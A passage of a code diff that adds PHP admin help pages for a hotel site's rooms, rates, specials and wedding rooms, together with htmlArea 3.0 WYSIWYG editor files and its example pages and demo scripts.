+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Photo Gallery Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the Cateogry,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Room Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Room Rates</h4>
+
+<P>
+This page lists the existing Room Rates from the database.
+</p>
+<p>
+<b>Add A New Room Rate</b>
+</p>
+<p>This link will allow you to add new Room Rate</p>
+<p>
+<b>List Room Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Room Rate</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Room Rate</h4>
+<P>
+This page is for editing and modifying an existing Room Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Room Rates" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Room Rate.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Room Rate. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Room Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Room Rate</h4>
+<P>
+This page is for adding new Room Rates into the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Room Rate,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Specials Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Specials</h4>
+
+<P>
+This page lists the existing Specials from the database.
+</p>
+<p>
+<b>Add A New Special</b>
+</p>
+<p>This link will allow you to add new Special</p>
+<p>
+<b>List Specials</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Special</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Special</h4>
+<P>
+This page is for editing and modifying an existing Special in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Special,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Special</h4>
+<P>
+This page is for adding new Specials in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Special,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Change Text Help</H4>
+<hr>
+<h4 align="center">Home Page Section</h4>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will be displayed with the Photo on the Home Page.
+</p>
+
+
+<hr>
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Updatable Text,
+you can click "Update." This will update the information about each Item
+in the database.
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Tour Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Tour Rates</h4>
+
+<P>
+This page lists the existing Tour Rates from the database.
+</p>
+<p>
+<b>Add A New Tour Rate</b>
+</p>
+<p>This link will allow you to add new Tour Rates</p>
+<p>
+<b>List Tour Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Tour Rate</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Tour Rate</h4>
+<P>
+This page is for editing and modifying an existing Tour Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Tour Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Tour Rate</h4>
+<P>
+This page is for adding new Tour Rates in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Wedding Rooms Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Wedding Rooms</h4>
+
+<P>
+This page lists the existing Wedding Rooms from the database.
+</p>
+<p>
+<b>Add A New Wedding Room</b>
+</p>
+<p>This link will allow you to add new Wedding Room</p>
+<p>
+<b>List Wedding Rooms</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Wedding Room</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Wedding Room</h4>
+<P>
+This page is for editing and modifying an existing Wedding Room in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Wedding Room,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Wedding Room</h4>
+<P>
+This page is for adding new Wedding Rooms in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<html>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<table>
+<TD align=center colspan=2><FONT SIZE=2 FACE="arial,helvetica"><B>HTML Tags</B></FONT><BR>
+ <FONT SIZE=2 FACE="arial,helvetica"><B><B>BOLD</B></B><BR><I><I>ITALIC</I></I><BR><CENTER>CENTER</CENTER><BR>
+ <FONT COLOR="RED"><FONT COLOR="RED">RED</FONT></FONT><BR><BIG><BIG>LARGER FONT SIZE</BIG></BIG>
+ <br><LI>Bullet
+ <br><A HREF="HTTP://www.PLACEYOURWEBURLHERE" TARGET="_BLANK"><A HREF="HTTP://www.gaslightmedia.com" TARGET="_BLANK">Hyperlink</A></A>
+ <br><A HREF="mailto:PLACEEMAILADDRESSHERE" TARGET="_BLANK"><A
+ HREF="mailto:info@gaslightmedia.com" TARGET="_BLANK">E-mail Address</A></A>
+ <BR>&nbsp; A non-breaking space
+ </td>
+</tr>
+</table>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="help/closewindow.gif" border=0></A></CENTER>
+</body>
+</html>
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object. Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+ if (typeof init == "undefined") {
+ init = window; // pass this window object by default
+ }
+ Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+ setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+ if (Dialog._modal && !Dialog._modal.closed) {
+ HTMLArea._stopEvent(ev);
+ }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+ var dlg = window.open(url, "hadialog",
+ "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+ "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+ Dialog._modal = dlg;
+ Dialog._arguments = init;
+
+ // capture some window's events
+ function capwin(w) {
+ HTMLArea._addEvent(w, "click", Dialog._parentEvent);
+ HTMLArea._addEvent(w, "mousedown", Dialog._parentEvent);
+ HTMLArea._addEvent(w, "focus", Dialog._parentEvent);
+ };
+ // release the captured events
+ function relwin(w) {
+ HTMLArea._removeEvent(w, "click", Dialog._parentEvent);
+ HTMLArea._removeEvent(w, "mousedown", Dialog._parentEvent);
+ HTMLArea._removeEvent(w, "focus", Dialog._parentEvent);
+ };
+ capwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+ // make up a function to be called when the Dialog ends.
+ Dialog._return = function (val) {
+ if (val && action) {
+ action(val);
+ }
+ relwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+ Dialog._modal = null;
+ };
+};
--- /dev/null
+#! /usr/bin/perl -w
+
+use strict;
+use CGI;
+
+my $cgi = new CGI;
+my $text1 = $cgi->param('text1');
+my $text2 = $cgi->param('text2');
+
+print "Content-type: text/html\n\n";
+
+print "<p>You submitted:</p>";
+print "<table border='1'>";
+print "<thead><tr bgcolor='#cccccc'><td width='50%'>text1</td><td width='50%'>text2</td></tr></thead>";
+print "<tbody><tr><td>$text1</td><td>$text2</td></tr></tbody>";
+print "</table>";
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html>
+ <head>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <title>Example with 2 HTMLAreas in the same form</title>
+ <script type="text/javascript">
+ // the _editor_url is REQUIRED! don't forget to set it.
+ _editor_url = "../";
+ // implicit language will be "en", but let's set it for brevity
+ _editor_lang = "en";
+ </script>
+ <script type="text/javascript" src="../htmlarea.js"></script>
+ <script type="text/javascript">
+ // load the plugins that we will use
+ // loading is necessary ONLY ONCE, regardless on how many editors you create
+ // basically calling the following functions will load the plugin files as if
+ // we would have wrote script src="..." but with easier and cleaner code
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("CSS");
+
+ // this function will get called at body.onload
+ function initDocument() {
+ // cache these values as we need to pass it for both editors
+ var css_plugin_args = {
+ combos : [
+ { label: "Syntax",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ };
+
+ //---------------------------------------------------------------------
+ // GENERAL PATTERN
+ //
+ // 1. Instantitate an editor object.
+ // 2. Register plugins (note, it's required to have them loaded).
+ // 3. Configure any other items in editor.config.
+ // 4. generate() the editor
+ //
+ // The above are steps that you use to create one editor. Nothing new
+ // so far. In order to create more than one editor, you just have to
+ // repeat those steps for each of one. Of course, you can register any
+ // plugins you want (no need to register the same plugins for all
+ // editors, and to demonstrate that we'll skip the TableOperations
+ // plugin for the second editor). Just be careful to pass different
+ // ID-s in the constructor (you don't want to _even try_ to create more
+ // editors for the same TEXTAREA element ;-)).
+ //
+ // So much for the noise, see the action below.
+ //---------------------------------------------------------------------
+
+
+ //---------------------------------------------------------------------
+ // CREATE FIRST EDITOR
+ //
+ var editor1 = new HTMLArea("text-area-1");
+
+ // plugins must be registered _per editor_. Therefore, we register
+ // plugins for the first editor here, and we will also do this for the
+ // second editor.
+ editor1.registerPlugin(TableOperations);
+ editor1.registerPlugin(SpellChecker);
+ editor1.registerPlugin(CSS, css_plugin_args);
+
+ // custom config must be done per editor. Here we're importing the
+ // stylesheet used by the CSS plugin.
+ editor1.config.pageStyle = "@import url(custom.css);";
+
+ // generate first editor
+ editor1.generate();
+ //---------------------------------------------------------------------
+
+
+ //---------------------------------------------------------------------
+ // CREATE SECOND EDITOR
+ //
+ var editor2 = new HTMLArea("text-area-2");
+
+ // we are using the same plugins
+ editor2.registerPlugin(TableOperations);
+ editor2.registerPlugin(SpellChecker);
+ editor2.registerPlugin(CSS, css_plugin_args);
+
+ // import the CSS plugin styles
+ editor2.config.pageStyle = "@import url(custom.css);";
+
+ // generate the second editor
+ // IMPORTANT: if we don't give it a timeout, the first editor will
+ // not function in Mozilla. Soon I'll think about starting to
+ // implement some kind of event that will fire when the editor
+ // finished creating, then we'll be able to chain the generate()
+ // calls in an elegant way. But right now there's no other solution
+ // than the following.
+ setTimeout(function() {
+ editor2.generate();
+ }, 500);
+ //---------------------------------------------------------------------
+ };
+ </script>
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Example with 2 HTMLAreas in the same form</h1>
+
+ <form action="2-areas.cgi" method="post" target="_blank">
+
+ <input type="submit" value=" Submit " />
+ <br />
+
+ <textarea id="text-area-1" name="text1" style="width: 100%; height: 12em">
+ <h3>HTMLArea #1</h3>
+ <p>This will submit a field named <em>text1</em>.</p>
+ </textarea>
+
+ <br />
+
+ <textarea id="text-area-2" name="text2" style="width: 100%; height: 12em">
+ <h3>Second HTMLArea</h3> <p><em>text2</em> submission. Both are
+ located in the same FORM element and the script action is
+ 2-areas.cgi (see it in the examples directory)</p>
+ </textarea>
+
+ <br />
+ <input type="submit" value=" Submit " />
+
+ </form>
+
+ <hr>
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Fri Oct 31 09:37:10 EET 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:40 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+ <head>
+ <title>Test of ContextMenu plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("TableOperations");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(ContextMenu);
+ editor.registerPlugin(TableOperations);
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of ContextMenu plugin</h1>
+
+
+<textarea id="editor" style="height: 30em; width: 100%;">
+<table border="1" style="border: 1px dotted rgb(0, 102, 255); width:
+100%; background-color: rgb(255, 204, 51); background-image: none; float:
+none; text-align: left; vertical-align: top; border-collapse: collapse;"
+summary="" cellspacing="" cellpadding="" frame="box"
+rules="all"><tbody><tr><td style="border: 1px solid
+rgb(255, 0, 0); background-color: rgb(0, 51, 51); background-image: none;
+text-align: left; vertical-align: top;"><a
+href="http://dynarch.com/mishoo/articles.epl?art_id=430"><img
+src="http://127.0.0.1/~mishoo/htmlarea/examples/pieng.png" alt="" align=""
+border="0" hspace="0" vspace="0" /></a></td><td
+style="border: 1px solid rgb(255, 0, 0); background-color: rgb(255, 255, 0);
+background-image: none; text-align: left; vertical-align: top;">The
+article linked on the left image presents a script that allows Internet
+Explorer to use PNG images. We hope to be able to implement IE PNG support
+in HTMLArea soon.<br /> <br /> Go on, right-click everywhere and
+test our new context menus. And be thankful to <a
+href="http://www.americanbible.org/">American Bible Society</a> who
+sponsored the development, <a
+href="http://dynarch.com/mishoo/">mishoo</a> who made it happen and
+God, Who keeps mishoo alife. ;-)<br /> <br /><span
+style="font-style: italic;">P.S.</span> No animals were harmed
+while producing this movie.<br />
+</td></tr><tr><td style="border-style: none;
+background-color: rgb(255, 255, 51); background-image: none; text-align:
+left; vertical-align: top;">Welcome to HTMLArea, the best online
+editor.<br /></td><td>HTMLArea is a project initiated by
+<a href="http://interactivetools.com/">InteractiveTools.com</a>.
+Other companies contributed largely by sponsoring the development of
+additional extensions. Many thanks to:<br /> <br
+style="font-family: courier new,courier,monospace;" /> <div
+style="margin-left: 40px;"><a href="http://www.zapatec.com/"
+style="font-family: courier
+new,courier,monospace;">http://www.zapatec.com</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.americanbible.org/" style="font-family: courier
+new,courier,monospace;">http://www.americanbible.org</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.neomedia.ro/" style="font-family: courier
+new,courier,monospace;">http://www.neomedia.ro</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.os3.it/" style="font-family: courier
+new,courier,monospace;">http://www.os3.it</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.miro.com.au/" style="font-family: courier
+new,courier,monospace;">http://www.miro.com.au</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.thycotic.com/" style="font-family: courier
+new,courier,monospace;">http://www.thycotic.com</a><br />
+</div> <br /> and to all the posters at <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/
+">InteractiveTools</a> HTMLArea forums, whose feedback is continually
+useful in polishing HTMLArea.<br /> <br /><div
+style="text-align: right;">-- developers and maintainers of version 3,
+<a href="http://dynarch.com/">dynarch.com</a>.<br
+/></div></td></tr></tbody></table>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:29 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+</script>
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+
+ // comment the following two lines to see how customization works
+ editor.generate();
+ return false;
+
+ var cfg = editor.config; // this is the default configuration
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ },
+ context : 'table'
+ });
+
